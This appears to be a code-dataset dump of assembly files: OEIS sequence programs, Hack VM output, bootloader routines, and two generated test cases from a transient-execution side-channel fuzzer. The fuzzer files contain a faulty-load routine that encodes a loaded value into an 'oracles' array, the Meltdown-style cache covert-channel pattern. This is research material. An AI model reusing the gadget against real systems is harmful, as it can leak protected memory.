content
stringlengths
5
1.04M
avg_line_length
float64
1.75
12.9k
max_line_length
int64
2
244k
alphanum_fraction
float64
0
0.98
licenses
sequence
repository_name
stringlengths
7
92
path
stringlengths
3
249
size
int64
5
1.04M
lang
stringclasses
2 values
; A296180: Triangle read by rows: T(n, k) = 3*(n - k)*k + 1, n >= 0, 0 <= k <= n. ; 1,1,1,1,4,1,1,7,7,1,1,10,13,10,1,1,13,19,19,13,1,1,16,25,28,25,16,1,1,19,31,37,37,31,19,1,1,22,37,46,49,46,37,22,1,1,25,43,55,61,61,55,43,25,1,1,28,49,64,73,76,73,64,49,28,1 lpb $0 add $1,$2 trn $1,$0 mul $1,$0 add $2,1 trn $0,$2 lpe mul $1,3 add $1,1 mov $0,$1
25.5
175
0.540616
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/296/A296180.asm
357
Assembly
; A140681: a(n) = 3*n*(n+6). ; 0,21,48,81,120,165,216,273,336,405,480,561,648,741,840,945,1056,1173,1296,1425,1560,1701,1848,2001,2160,2325,2496,2673,2856,3045,3240,3441,3648,3861,4080,4305,4536,4773,5016,5265,5520,5781,6048,6321,6600,6885,7176,7473,7776,8085,8400,8721,9048,9381,9720,10065,10416,10773,11136,11505,11880,12261,12648,13041,13440,13845,14256,14673,15096,15525,15960,16401,16848,17301,17760,18225,18696,19173,19656,20145,20640,21141,21648,22161,22680,23205,23736,24273,24816,25365,25920,26481,27048,27621,28200,28785,29376,29973,30576,31185,31800,32421,33048,33681,34320,34965,35616,36273,36936,37605,38280,38961,39648,40341,41040,41745,42456,43173,43896,44625,45360,46101,46848,47601,48360,49125,49896,50673,51456,52245,53040,53841,54648,55461,56280,57105,57936,58773,59616,60465,61320,62181,63048,63921,64800,65685,66576,67473,68376,69285,70200,71121,72048,72981,73920,74865,75816,76773,77736,78705,79680,80661,81648,82641,83640,84645,85656,86673,87696,88725,89760,90801,91848,92901,93960,95025,96096,97173,98256,99345,100440,101541,102648,103761,104880,106005,107136,108273,109416,110565,111720,112881,114048,115221,116400,117585,118776,119973,121176,122385,123600,124821,126048,127281,128520,129765,131016,132273,133536,134805,136080,137361,138648,139941,141240,142545,143856,145173,146496,147825,149160,150501,151848,153201,154560,155925,157296,158673,160056,161445,162840,164241,165648,167061,168480,169905,171336,172773,174216,175665,177120,178581,180048,181521,183000,184485,185976,187473,188976,190485 mov $1,$0 add $1,6 mul $1,$0 mul $1,3
195.5
1,495
0.816496
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/140/A140681.asm
1,564
Assembly
; A224330: Number of idempotent n X n 0..5 matrices of rank n-1. ; 1,22,213,1724,12955,93306,653177,4478968,30233079,201553910,1330255861,8707129332,56596340723,365699432434,2350924922865,15045919506416,95917736853487,609359740010478,3859278353399789,24374389600419820 mov $1,$0 add $1,1 mov $2,6 pow $2,$1 sub $2,3 mul $1,$2 sub $1,3 div $1,3 add $1,1
27.230769
203
0.771186
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/224/A224330.asm
354
Assembly
mov ax, 0xb800 mov es, ax and di, 0 ; Century mov al, 0x32 out 0x70, al in al, 0x71 call read_CMOS_disp ; Year mov al, 0x9 out 0x70, al in al, 0x71 call read_CMOS_disp call print_dash ; Month mov al, 0x8 out 0x70, al in al, 0x71 call read_CMOS_disp call print_dash ; Day mov al, 0x7 out 0x70, al in al, 0x71 call read_CMOS_disp jmp $ read_CMOS_disp: and ah, 0 push dx mov dl, al and dl, 0xf add dl, 0x30 shr al, 4 add al, 0x30 mov [es:di], al inc di mov byte [es:di], 0x07 inc di mov [es:di], dl inc di mov byte [es:di], 0x07 inc di pop dx ret print_dash: mov byte [es:di], 0x2d inc di mov byte [es:di], 0x07 inc di ret times 510 - ($ - $$) db 0 dw 0xAA55
10.686567
25
0.642458
[ "MIT" ]
Dark15/assembly
exercises/exercise11/CMOS_date_call.asm
716
Assembly
@256 D=A @SP M=D @Sys.init_RETURN_0 // call Sys.init 0 D=A @SP A=M M=D @SP M=M+1 @LCL D=M @SP A=M M=D @SP M=M+1 @ARG D=M @SP A=M M=D @SP M=M+1 @THIS D=M @SP A=M M=D @SP M=M+1 @THAT D=M @SP A=M M=D @SP M=M+1 @0 D=A @5 D=D+A @SP D=M-D @ARG M=D @SP D=M @LCL M=D @Sys.init 0;JMP (Sys.init_RETURN_0) (Sys.init)// initializate local variables @0 D=A @R13 M=D (Sys.init_INIT_LOCALS_LOOP) @Sys.init_INIT_LOCALS_END D;JEQ @0 D=A @SP A=M M=D @SP M=M+1 @R13 MD=M-1 @Sys.init_INIT_LOCALS_LOOP 0;JMP (Sys.init_INIT_LOCALS_END) @4 // push constant 4 D=A @SP A=M M=D @SP M=M+1 @Main.fibonacci_RETURN_1 // call Main.fibonacci 1 D=A @SP A=M M=D @SP M=M+1 @LCL D=M @SP A=M M=D @SP M=M+1 @ARG D=M @SP A=M M=D @SP M=M+1 @THIS D=M @SP A=M M=D @SP M=M+1 @THAT D=M @SP A=M M=D @SP M=M+1 @1 D=A @5 D=D+A @SP D=M-D @ARG M=D @SP D=M @LCL M=D @Main.fibonacci 0;JMP (Main.fibonacci_RETURN_1) (WHILE) @WHILE 0;JMP (Main.fibonacci)// initializate local variables @0 D=A @R13 M=D (Main.fibonacci_INIT_LOCALS_LOOP) @Main.fibonacci_INIT_LOCALS_END D;JEQ @0 D=A @SP A=M M=D @SP M=M+1 @R13 MD=M-1 @Main.fibonacci_INIT_LOCALS_LOOP 0;JMP (Main.fibonacci_INIT_LOCALS_END) @ARG // push argument 0 D=M @0 A=D+A D=M @SP A=M M=D @SP M=M+1 @2 // push constant 2 D=A @SP A=M M=D @SP M=M+1 @SP // lt AM=M-1 D=M @SP AM=M-1 D=M-D @JLT_TRUE_FibonacciElement_0 D;JLT D=0 @JLT_FALSE_FibonacciElement_0 0;JMP (JLT_TRUE_FibonacciElement_0) D=-1 (JLT_FALSE_FibonacciElement_0) @SP A=M M=D @SP M=M+1 @SP AM=M-1 D=M M=0 @IF_TRUE D;JNE @IF_FALSE 0;JMP (IF_TRUE) @ARG // push argument 0 D=M @0 A=D+A D=M @SP A=M M=D @SP M=M+1 @LCL D=M @R13 M=D @5 A=D-A D=M @R14 M=D @SP AM=M-1 D=M @ARG A=M M=D D=A @SP M=D+1 @R13 AM=M-1 D=M @THAT M=D @R13 AM=M-1 D=M @THIS M=D @R13 AM=M-1 D=M @ARG M=D @R13 AM=M-1 D=M @LCL M=D @R14 A=M 0;JMP (IF_FALSE) @ARG // push argument 0 D=M @0 A=D+A D=M @SP A=M M=D @SP M=M+1 @2 // push constant 2 D=A @SP A=M M=D @SP M=M+1 @SP AM=M-1 D=M A=A-1 M=M-D @Main.fibonacci_RETURN_2 // call Main.fibonacci 1 D=A @SP A=M M=D @SP M=M+1 @LCL D=M @SP A=M M=D @SP M=M+1 @ARG D=M @SP A=M M=D @SP M=M+1 @THIS D=M @SP A=M M=D @SP M=M+1 @THAT D=M @SP A=M M=D @SP M=M+1 @1 D=A @5 D=D+A @SP D=M-D @ARG M=D @SP D=M @LCL M=D @Main.fibonacci 0;JMP (Main.fibonacci_RETURN_2) @ARG // push argument 0 D=M @0 A=D+A D=M @SP A=M M=D @SP M=M+1 @1 // push constant 1 D=A @SP A=M M=D @SP M=M+1 @SP AM=M-1 D=M A=A-1 M=M-D @Main.fibonacci_RETURN_3 // call Main.fibonacci 1 D=A @SP A=M M=D @SP M=M+1 @LCL D=M @SP A=M M=D @SP M=M+1 @ARG D=M @SP A=M M=D @SP M=M+1 @THIS D=M @SP A=M M=D @SP M=M+1 @THAT D=M @SP A=M M=D @SP M=M+1 @1 D=A @5 D=D+A @SP D=M-D @ARG M=D @SP D=M @LCL M=D @Main.fibonacci 0;JMP (Main.fibonacci_RETURN_3) @SP AM=M-1 D=M A=A-1 M=D+M @LCL D=M @R13 M=D @5 A=D-A D=M @R14 M=D @SP AM=M-1 D=M @ARG A=M M=D D=A @SP M=D+1 @R13 AM=M-1 D=M @THAT M=D @R13 AM=M-1 D=M @THIS M=D @R13 AM=M-1 D=M @ARG M=D @R13 AM=M-1 D=M @LCL M=D @R14 A=M 0;JMP
6.527149
49
0.624957
[ "MIT" ]
DarkCleopas/vm-translator
08/FunctionCalls/FibonacciElement/FibonacciElement.asm
2,885
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %rax push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x19c4f, %rbx nop nop nop nop nop dec %r12 movups (%rbx), %xmm7 vpextrq $1, %xmm7, %rdx nop xor %rax, %rax lea addresses_WC_ht+0xa04f, %rsi lea addresses_WT_ht+0x12c6f, %rdi nop nop nop nop xor $54633, %r11 mov $58, %rcx rep movsl nop sub $13560, %rdx lea addresses_WC_ht+0xb66f, %rsi lea addresses_UC_ht+0x1698f, %rdi nop and $42553, %rbx mov $89, %rcx rep movsl nop nop nop dec %rdx lea addresses_A_ht+0x1344f, %rcx nop sub %rsi, %rsi mov $0x6162636465666768, %rbx movq %rbx, %xmm1 vmovups %ymm1, (%rcx) nop nop xor $26114, %rsi lea addresses_normal_ht+0x47cf, %rsi nop nop xor %rbx, %rbx movl $0x61626364, (%rsi) nop nop nop nop add %rsi, %rsi lea addresses_normal_ht+0x144f, %rdi inc %rsi mov $0x6162636465666768, %rcx movq %rcx, (%rdi) nop nop nop xor $40403, %rax lea addresses_A_ht+0xb04f, %r12 nop nop nop nop dec %rsi mov $0x6162636465666768, %rdi movq %rdi, %xmm5 and $0xffffffffffffffc0, %r12 vmovaps %ymm5, (%r12) sub $23718, %r11 lea addresses_A_ht+0x155e9, %r12 nop nop nop nop nop and $53751, %rcx mov $0x6162636465666768, %rsi movq %rsi, %xmm4 vmovups %ymm4, (%r12) nop nop nop cmp %r11, %r11 lea addresses_WT_ht+0x16d4f, %rbx sub %rcx, %rcx mov $0x6162636465666768, %r11 movq %r11, (%rbx) add $43987, %rsi lea addresses_UC_ht+0x1884f, %rax nop nop nop nop nop add %rdx, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm2 vmovups %ymm2, (%rax) nop nop nop sub $58238, %rbx lea addresses_WT_ht+0xe717, %rsi lea addresses_normal_ht+0x884f, %rdi nop nop nop dec %rdx mov $57, %rcx rep movsb nop and $54942, %rdi lea addresses_UC_ht+0x140c9, %rsi lea addresses_normal_ht+0x6d6f, %rdi and %rbx, %rbx mov $93, %rcx rep movsq nop nop cmp $27342, %rbx lea addresses_WC_ht+0xb84f, %rsi lea addresses_WT_ht+0x2025, %rdi nop nop sub $62057, %r12 mov $121, %rcx rep movsq nop nop nop nop nop and $28995, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rax pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %r9 push %rbp push %rbx push %rdi push %rdx // Load lea addresses_WT+0x177eb, %rdx nop nop nop inc %r12 mov (%rdx), %di nop nop nop nop add $44517, %r14 // Store lea addresses_PSE+0x1a84f, %rdx inc %rbx mov $0x5152535455565758, %rbp movq %rbp, (%rdx) nop xor %rbx, %rbx // Store lea addresses_A+0x13c4f, %r14 nop nop nop sub %rbx, %rbx movb $0x51, (%r14) nop nop dec %rdi // Store lea addresses_D+0xe04f, %rdx nop nop nop xor $44431, %r9 movb $0x51, (%rdx) nop nop nop and $51197, %r14 // Load lea addresses_UC+0x75cf, %r14 nop nop nop cmp $3564, %r12 and $0xffffffffffffffc0, %r14 vmovaps (%r14), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %rbx lfence // Faulty Load lea addresses_D+0xe04f, %rbp clflush (%rbp) nop nop nop mfence movups (%rbp), %xmm3 vpextrq $1, %xmm3, %rbx lea oracles, %r9 and $0xff, %rbx shlq $12, %rbx mov (%r9,%rbx,1), %rbx pop %rdx pop %rdi pop %rbx pop %rbp pop %r9 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_PSE', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_D', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC', 'size': 32, 'AVXalign': True}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': True, 'congruent': 9, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
32.210332
2,999
0.658495
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1109.asm
8,729
Assembly
; A063957: Numbers not of the form round(m*sqrt(2)) for any integer m, i.e., complement of A022846. ; Submitted by Jamie Morken(s4) ; 2,5,9,12,15,19,22,26,29,32,36,39,43,46,50,53,56,60,63,67,70,73,77,80,84,87,90,94,97,101,104,108,111,114,118,121,125,128,131,135,138,142,145,149,152,155,159,162,166,169,172,176,179,183,186,189,193,196,200,203,207,210,213,217,220,224,227,230,234,237,241,244,248,251,254,258,261,265,268,271,275,278,282,285,289,292,295,299,302,306,309,312,316,319,323,326,329,333,336,340 mul $0,2 seq $0,1952 ; A Beatty sequence: a(n) = floor(n*(2 + sqrt(2))). add $0,1 div $0,2
66
369
0.700337
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/063/A063957.asm
594
Assembly
; A036126: a(n) = 3^n mod 43. ; 1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22,23,26,35,19,14,42,40,34,16,5,15,2,6,18,11,33,13,39,31,7,21,20,17,8,24,29,1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22,23,26,35,19,14,42,40,34,16,5,15,2,6,18,11,33,13,39,31,7,21,20,17,8,24,29,1,3,9,27,38,28,41,37,25,32,10,30,4,12,36,22 mov $1,1 mov $2,$0 lpb $2 mul $1,3 mod $1,43 sub $2,1 lpe mov $0,$1
32.083333
279
0.602597
[ "Apache-2.0" ]
ckrause/cm
programs/oeis/036/A036126.asm
385
Assembly
[bits 32] ; Define some constants VIDEO_MEMORY equ 0xb8000 WHITE_ON_BLACK equ 0x0f ; prints a null - terminated string pointed to by EDX print_pm: pusha mov edx, VIDEO_MEMORY ; Set edx to the start of vid mem. print_pm_loop: mov al, [ebx] ; Store the char at EBX in AL mov ah, WHITE_ON_BLACK ; Store the attributes in AH cmp al, 0 ; if ( al == 0), at end of string, so je print_pm_end ; jump to done mov [edx], ax ; Store char and attributes at current ; character cell. add ebx, 1 ; Increment EBX to the next char in string. add edx, 2 ; Move to next character cell in vid mem. jmp print_pm_loop ; loop around to print the next char. print_pm_end: popa ret ; Return from the function
32.333333
71
0.585338
[ "MIT" ]
ChromaMaster/os-dev
bootloader/print_string_pm.asm
873
Assembly
; A129232: a(n)=Floor(n*r)+Floor((n-2)*r)+Floor((n-4)*r)+...+Floor(k*r), where r = 2^(1/2) and k=0 if n is even, k=1 if n is odd. ; 0,1,2,5,7,12,15,21,26,33,40,48,56,66,75,87,97,111,122,137,150,166,181,198,214,233,250,271,289,312,331,355,376,401,424,450,474,502,527,557,583,614,642,674,704,737,769,803,836,872,906,944,979,1018,1055,1095 lpb $0 mov $2,$0 cal $2,1951 ; A Beatty sequence: a(n) = floor(n*sqrt(2)). trn $0,2 add $1,$2 lpe
44.4
206
0.628378
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/129/A129232.asm
444
Assembly
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r9 push %rcx push %rdi push %rsi lea addresses_normal_ht+0xc6ae, %rsi lea addresses_A_ht+0x136e, %rdi nop nop nop and %r12, %r12 mov $28, %rcx rep movsq nop nop cmp %r9, %r9 lea addresses_D_ht+0xc066, %r9 nop sub $38534, %rsi mov $0x6162636465666768, %rdi movq %rdi, (%r9) nop xor $49183, %rsi pop %rsi pop %rdi pop %rcx pop %r9 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r8 push %rbx // Faulty Load lea addresses_UC+0x161ae, %r13 nop nop nop nop nop cmp %r14, %r14 vmovups (%r13), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r8 lea oracles, %r13 and $0xff, %r8 shlq $12, %r8 mov (%r13,%r8,1), %r8 pop %rbx pop %r8 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_UC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
58.226667
2,999
0.662926
[ "MIT" ]
danielmgmi/medusa
Transynther/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_2350.asm
4,367
Assembly
; A242082: Nim sequence of game on n counters whose legal moves are removing some number of counters in A027941. ; 0,1,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,2,0,1,0,1,2,0,1,0,1,2,0 lpb $0 mov $2,$0 cal $2,96270 ; Fixed point of the morphism 0->01, 1->011. add $1,$2 mul $2,$0 mov $0,$2 sub $0,1 lpe
37.166667
201
0.585202
[ "Apache-2.0" ]
jmorken/loda
programs/oeis/242/A242082.asm
446
Assembly
; A330592: a(n) is the number of subsets of {1,2,...,n} that contain exactly two odd numbers. ; Submitted by Jon Maiga ; 0,0,2,4,12,24,48,96,160,320,480,960,1344,2688,3584,7168,9216,18432,23040,46080,56320,112640,135168,270336,319488,638976,745472,1490944,1720320,3440640,3932160,7864320,8912896,17825792,20054016,40108032,44826624,89653248,99614720,199229440,220200960,440401920,484442112,968884224,1061158912,2122317824,2315255808,4630511616,5033164800,10066329600,10905190400,21810380800,23555211264,47110422528,50734301184,101468602368,108984795136,217969590272,233538846720,467077693440,499289948160,998579896320 mov $1,$0 add $0,2 div $0,2 bin $0,2 lpb $1 mul $0,2 sub $1,1 trn $1,1 lpe
50
498
0.801429
[ "Apache-2.0" ]
ckrause/loda-programs
oeis/330/A330592.asm
700
Assembly
